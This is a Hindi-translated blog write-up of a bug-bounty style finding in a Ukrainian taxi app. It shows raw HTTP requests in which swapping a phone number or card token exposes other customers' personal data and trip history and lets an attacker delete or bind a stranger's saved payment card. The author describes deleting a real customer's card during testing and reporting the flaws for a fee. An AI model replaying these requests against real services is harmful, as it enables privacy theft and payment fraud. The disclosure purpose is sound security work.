किसी और के खर्च पर टैक्सी की सवारी कैसे करें - एक सेवा के उदाहरण पर कमजोरियां

एक यूक्रेनी बैंक ( पोस्ट ) के मोबाइल बैंकिंग में कमजोरियां खोजने के बाद, मैं दिशा को थोड़ा बदलना चाहता था और वित्तीय सेवाओं से दूसरों पर स्विच करना चाहता था।

अपडेट किए गए मोबाइल टैक्सी एप्लिकेशन के बारे में एक विज्ञापन लेख ने मेरी आंख को पकड़ लिया, और मैंने इसे अपने प्रयोगात्मक के रूप में चुना।

यहां उपकरण समान हैं: पीसी, फिडलर, एंड्रॉइड-स्मार्टफोन - एप्लिकेशन इंस्टॉल करें और इसके अनुरोधों को ट्रैक करें।

पंजीकरण या लॉगिन करते समय मैंने विशेष रूप से अनुरोधों और उत्तरों पर विचार नहीं किया (उदाहरण के लिए, मैंने जानवर बल पासवर्ड की संभावना की जांच नहीं की), लेकिन पंजीकरण के बाद उपलब्ध फ़ंक्शन पर स्विच कर दिया।

चूंकि मेरे पास इस सेवा का उपयोग करने वाली यात्राओं का इतिहास नहीं है, और मैं परीक्षण के लिए एक वास्तविक यात्रा नहीं करना चाहता था, मुझे किसी अन्य ग्राहक से डेटा की आवश्यकता थी। मैंने दोस्तों से सेवा में एक खाता पूछने का फैसला किया। परिचितों में इस टैक्सी के ग्राहक थे, लेकिन उन्होंने उसे पुराने ढंग से बुलाया - एक कॉल के साथ।

फिर मैंने इंटरनेट पर सार्वजनिक रूप से उपलब्ध सूचनाओं के बीच फोन नंबरों की तलाश शुरू की - उदाहरण के लिए, आधिकारिक वेबसाइट पर और सामाजिक नेटवर्क में समीक्षाओं के बीच ( अक्सर असंतुष्ट ग्राहक, शिकायतों का वर्णन करते हुए, उन्हें उनके व्यक्तिगत पीएम को कंपनी भेजने के बजाय सार्वजनिक देखने के लिए टिप्पणियों में छोड़ देते हैं )। नतीजतन, मुझे नौकरी खोज साइटों में से एक पर कुछ फोन मिले। मैंने बाद के अनुरोधों में उनमें से एक को प्रतिस्थापित किया और ऐसी जानकारी प्राप्त की जो बाहर से किसी के लिए सुलभ नहीं होनी चाहिए थी।



ये निम्नलिखित समस्याएं थीं:

1. हमें क्लाइंट आईडी, उसका नाम, फोन, ई-मेल और शहर (कई शहरों में टैक्सी काम करता है) मिलता है।

जब एप्लिकेशन प्रोफाइल को लोड करता है, तो निम्नलिखित पोस्ट अनुरोध निष्पादित किया जाता है:

https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: User Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 37 func=loadMyInfo&phone=%2B380671234567 

loadMyInfo&phone फ़ंक्शन में किसी और के फ़ोन नंबर को प्रतिस्थापित करना, जवाब में मैंने ग्राहक आईडी, उसका पूरा नाम, फोन, ई-मेल और शहर प्राप्त किया:

 [{"id":14014,"varFirstName":" ","varLastName":"","varSurName":" ","varTel":"+380671234567","varTel2":"","varEmail":"Sergey_ivan@some.mail","city":1,"cityName":""}] 

2) ग्राहक भुगतान कार्ड के बारे में जानकारी

दूसरे अनुरोध में, मैं ग्राहक द्वारा मेरे व्यक्तिगत खाते में जोड़े गए भुगतान कार्ड के बारे में जानकारी प्राप्त करने में सक्षम था:

 https://sometaxi/mobile3/ClientCard.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: User Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 58 data={"Task":"GetClientCardsData","phone":"+380671234567"} 

उत्तर है:

 {"data":[{"masked_card":"512345XXXXXX6789","rectoken":"ccaffe873a0e88caf49bc65bbef2390329","card_type":"MASTERCARD","default":true,"card_name":""}]} 

यहां उपलब्ध थे: एक काटे गए कार्ड नंबर, कुछ प्रकार के टोकन, कार्ड का प्रकार, चाहे कार्ड डिफ़ॉल्ट रूप से स्थापित हो और उसका नाम।

3) ग्राहक की यात्राओं के बारे में जानकारी प्राप्त करना

तीसरा अनुरोध - loadHistory - ने मुझे सबसे बड़ी और सबसे महत्वपूर्ण (जैसा मैंने सोचा था तब) जानकारी की राशि प्रदान की:

 https://sometaxi/mobile3/templateAll.php?PHPSESSID=4cmdlokh4luo209d88kv6uh7 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: User Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 38 func=loadHistory&phone=%2B380671234567 

उत्तर का हिस्सा (पहले की तरह, डेटा बदल गया) :

 {"id":454875,"From":"- ., 1","To":"і ., 13","When":"10-01-2019 15:55","WhenDate":1569942900,"Price":"160","Rate":0,"preorder":0,"status":1,"orderid":"11174445","additionalServices":"[]","classAvto":2,"callsignid":6426,"Car":"  ,Toyota Corolla,, 3733 ","city":1,"cityName":"ї","distance":"0.00"} {"id":408880,"From":"  ., 2","To":"- ., 1","When":"25-12-2018 03:44","WhenDate":1545709440,"Price":"79","Rate":0,"preorder":0,"status":1,"orderid":"10966503","additionalServices":"[]","classAvto":2,"callsignid":4545,"Car":"  ,Toyota Corolla,, 0415 ","city":null,"cityName":null,"distance":"0.00"} 

यहां उपलब्ध हैं: प्रस्थान का पता, गंतव्य का पता, यात्रा की तिथि और समय, लागत, साथ ही टैक्सी चालक का पूरा नाम, प्रकार, रंग और उसकी कार की संख्या।

कुल: अनुरोधों की एक जोड़ी के साथ, फ़ोन नंबर से आप इस सेवा के ग्राहक के बारे में सब कुछ जान सकते हैं, जिसमें उनके व्यक्तिगत जीवन के कुछ विवरण भी शामिल हैं (उदाहरण के लिए, नए साल की यात्रा दोपहर 2 बजे से एक पते से दूसरे पर)।

निश्चित रूप से आवेदन में अन्य स्थान थे जहां अन्य जानकारी प्राप्त की जा सकती थी। लेकिन डेवलपर्स को इस बारे में सूचित करने के लिए पहले से ही पर्याप्त पाया गया था, जो मैंने तुरंत काम के पते को निर्देशित करने के लिए किया था।

हमने एक महीने के लिए पत्राचार किया, और बाद में उन्होंने मुझे एक शुल्क दिया।

---

और फिर यह पोस्ट समाप्त हो सकती है, लेकिन मैंने सभी त्रुटियों को ठीक करने के लिए फिर से जांच करने का फैसला किया।

हां, तीन में से दो अनुरोधों ने अब मुझे अन्य लोगों की जानकारी नहीं दी, लेकिन एक अभी भी मान्य था।

भुगतान कार्ड इस एप्लिकेशन में उसी तरह से किसी अन्य के लिए जोड़े जाते हैं: पहले, एक विशेष पृष्ठ पर, ग्राहक पूरी संख्या, समाप्ति तिथि और सीवीवी कार्ड इंगित करता है। फिर 1 UAH लिखकर सत्यापन आता है। और 3-डी सिक्योर / लुकअप का उपयोग करके इस तरह के ऑपरेशन की ग्राहक पुष्टि। यह सामान्य अभ्यास है, ग्राहक कार्डों की पूरी संख्या और अन्य भुगतान विवरण अनुरोधों में नहीं थे।

लेकिन जब से मैंने देखा कि मेरा जोड़ा कार्ड फॉर्म data={"Task":"DeleteClientCardsData", "rectoken":"bc65bbef2390329ccaffe873a0e88caf49" } अनुरोध के द्वारा हटा दिया गया है, मैंने जांचने का फैसला किया: क्या होगा यदि मैं किसी अन्य क्लाइंट के आयत को निर्दिष्ट करता हूं।

4) टोकन द्वारा किसी और का कार्ड निकालना

मैं एक और टोकन के साथ अनुरोध निष्पादित करता हूं:

 https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F) Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 86 data={"Task":"DeleteClientCardsData","rectoken":"ccaffe873a0e88caf49bc65bbef2390329"} 

और पराया कार्ड चला गया है!

मैंने इसके अलावा समान क्वेरी # 2 के साथ यह जाँच की थी - क्या यह केवल एक दृश्य प्रतिक्रिया {"status":"Success"."err":""} , या कार्ड वास्तव में ग्राहक से हटा दिया गया था।

मानचित्र वास्तव में हटा दिया गया है।

तुरंत मैंने एक दूसरा पत्र लिखा, माफी मांगते हुए, लेकिन खुद के लिए एक और खाता बनाकर आगे प्रयोग करने का फैसला किया: अगर टोकन द्वारा कार्ड को हटाया जा सकता है - शायद इसे उसी टोकन से जोड़ा जा सकता है, और इसे खुद से जोड़ा जा सकता है?

5) अपने खाते में टोकन द्वारा किसी और का कार्ड जोड़ना

हां, मैं नष्ट नहीं करूंगा - किसी और का कार्ड खुद से बंधा हो सकता है। मुख्य बात यह है कि रेक्टोकेन पता है (और आप इसे खुली समस्या # 2 के लिए धन्यवाद प्राप्त कर सकते हैं)।

POST अनुरोध में, किसी भी डेटा को निर्दिष्ट करना संभव था - कार्ड नंबर के पहले 6 और अंतिम 4 अंक, कम से कम 500,000 **** 1111 - कार्ड नेत्रहीन इस डेटा से जुड़ा था, और टोकन किसी अन्य क्लाइंट से था और मान्य था।

 POST https://sometaxi/mobile3/ClientCard.php?PHPSESSID=5n4tim74asve7uefdf3hvd6c3 HTTP/1.1 Content-Type: application/x-www-form-urlencoded charset: utf-8 User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.1.1; SM-G925F) Host: sometaxi Connection: Keep-Alive Accept-Encoding: gzip Content-Length: 221 data={"Task":"ClientCardData","default":false,"phone":"+380991234567","masked_card":"500000XXXXXX1111","card_name":"Test","card_type":"MASTERCARD","rectoken":"4f6d228517f2d45690670aba78013a0408"} 

इसका क्या अर्थ है: टोकन को अपने खाते से लिंक करने की संभावना के कारण, मैं कार्ड के पूर्ण विवरण को जाने बिना और किसी भी अतिरिक्त सत्यापन के बिना किसी और के खर्च पर एक यात्रा कर सकता था - आखिरकार, कार्ड ग्राहक द्वारा पहले ही जोड़ दिया गया है और भुगतान सेवा द्वारा सफलतापूर्वक सत्यापित किया गया है।

किसी और के कार्ड से भुगतान करने की क्षमता के बारे में स्पष्टीकरण:
भुगतान के लिए भुगतान विवरण के इनपुट को सरल बनाने के लिए, टोकन पर आधारित एक-क्लिक भुगतान का उपयोग किया जाता है। पहली खरीद पर, ग्राहक भुगतान डेटा में प्रवेश करता है, ग्राहक को बाद के भुगतानों के साथ, "भुगतान" बटन पर क्लिक करने के लिए पर्याप्त है।

एक टोकन एक अद्वितीय संख्या है जिसे सिस्टम में कार्ड मापदंडों के एक सेट को सौंपा गया है। इस टोकन का उपयोग सीवीवी में प्रवेश के बिना और 3-डी सिक्योर प्रमाणीकरण के बिना सीधे भुगतान के लिए किया जा सकता है।


टोकन से लिखावट - कार्ड पर डेबिट / ब्लॉकिंग फंड का संचालन, ग्राहक की भागीदारी के बिना, व्यापारी से टोकन स्थानांतरित करके।

एक उदाहरण स्पष्टीकरण यहाँ से लिया गया है ।

डेवलपर्स ने टोकन को अपने खाते से खदान में स्थानांतरित करने और टैक्सी ऑर्डर करने की संभावना को प्रदर्शित करने के लिए कहा - उन्हें यह सुनिश्चित करने की आवश्यकता थी कि टोकन कटौती वास्तव में होगी। बेशक, आदेश पारित कर दिया गया था, पैसा डेबिट हो गया था ( मुझे कार में नहीं मिला )। बाद में उन्होंने मुझे कुछ और पैसे दिए।

---

जैसा कि आप इस और पिछले लेखों से देख सकते हैं, कभी-कभी PHPSESSID, प्राधिकरण, या SecurityToken पर्याप्त नहीं है।

यदि आप एक डेवलपर हैं, तो कृपया पूछें कि आप क्या पूछते हैं। यदि आप एक परीक्षक हैं, तो खोजें और खोजें, लेकिन इसके बारे में डेवलपर्स को सूचित करना सुनिश्चित करें। कमजोरियां यहां और वहां भरी हुई हैं, इसलिए कृपया एक सफेद हैकर बनें।